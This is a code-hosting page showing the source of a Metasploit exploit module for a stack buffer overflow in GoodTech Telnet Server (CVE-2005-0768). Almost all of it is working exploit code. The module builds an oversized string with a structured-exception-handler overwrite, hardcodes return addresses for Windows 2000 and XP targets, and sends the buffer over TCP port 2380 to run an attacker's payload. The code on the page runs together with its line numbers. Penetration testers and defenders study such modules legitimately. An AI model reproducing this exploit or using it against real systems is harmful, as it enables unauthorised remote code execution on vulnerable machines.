Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/telnet/goodtech_telnet.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'GoodTech Telnet Server Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in GoodTech Systems Telnet Server18versions prior to 5.0.7. By sending an overly long string, an attacker can19overwrite the buffer and control program execution.20},21'License' => MSF_LICENSE,22'Author' => 'MC',23'References' =>24[25[ 'CVE', '2005-0768' ],26[ 'OSVDB', '14806'],27[ 'BID', '12815' ],28],29'DefaultOptions' =>30{31'EXITFUNC' => 'thread'32},33'Payload' =>34{35'Space' => 400,36'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",37'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44"38},39'Platform' => 'win',40'Targets' =>41[42[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],43[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],44],45'Privileged' => true,46'DisclosureDate' => '2005-03-15',47'DefaultTarget' => 048)49)5051register_options(52[53Opt::RPORT(2380)54]55)56end5758def exploit59connect6061sploit = rand_text_english(10020, payload_badchars)62seh = generate_seh_payload(target.ret)6364sploit[10012, seh.length] = seh6566print_status("Trying target #{target.name}...")6768sock.put(sploit + "\r\n\r\n")6970handler71disconnect72end73end747576